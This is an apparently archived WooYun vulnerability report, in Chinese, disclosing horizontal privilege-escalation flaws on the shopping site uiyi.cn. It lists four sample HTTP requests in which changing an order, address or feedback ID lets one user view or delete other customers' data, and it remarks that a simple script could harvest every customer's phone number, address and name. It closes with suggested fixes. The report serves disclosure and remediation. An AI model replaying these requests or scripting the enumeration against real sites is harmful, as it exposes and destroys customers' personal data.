漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0196371
漏洞标题：佑一良品某站多处平行越权漏洞
相关厂商：佑一良品
漏洞作者： 路人甲
提交时间：2016-04-15 07:13
修复时间：2016-05-30 07:20
公开时间：2016-05-30 07:20
漏洞类型：未授权访问/权限绕过
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-04-15： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-05-30： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
据说提交这家厂商的漏洞，有包送？刚好穷的zone也进不去了，就刷几个吧。
详细说明：
佑一良品(www.uiyi.cn)主站多处平行越权漏洞，主要有以下几个功能：
1，收货地址删除功能；
2，收货地址修改查看功能；
3，订单取消功能；
4，意见反馈删除功能。
以上几个功能都存在平行越权漏洞，大概请求分别如下：
1)订单取消功能：
POST /Cancel/NewCancelOrder HTTP/1.1
Host: my.uiyi.cn
OrderNo=16041475458
2)收货地址修改查看功能：
GET /CheckOut/GetReceiverById?ran=0.8655094487335167&ReceiverId=208813 HTTP/1.1
Host: cart.uiyi.cn
3)意见反馈删除功能：
POST /ComplaintAdvise/Delete HTTP/1.1
Host: my.uiyi.cn
ReviewID=27645
4)收货地址删除功能：
POST /Shipping_address/Delete HTTP/1.1
Host: my.uiyi.cn
ReceiverId=208822
以上几个功能请求都存在平行越权漏洞，通过修改各id的值就能对其它用户的收货地址，订单等进行查看删除，会泄露用户的电话、地址、姓名等等敏感信息。
漏洞证明：
上一张收货地址越权查看的证明图：
只需要写个简单的脚本，就能获取全站客户的各种敏感信息。其它的越权删除之类的就不一一截图了。
修复方案：
1，检查所有类似的操作，进行严格权限验证；
2，验证session，判断用户是否有权限对当前的收货地址等进行操作。
PS：我缺Rank!
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝
漏洞Rank：15 (WooYun评价)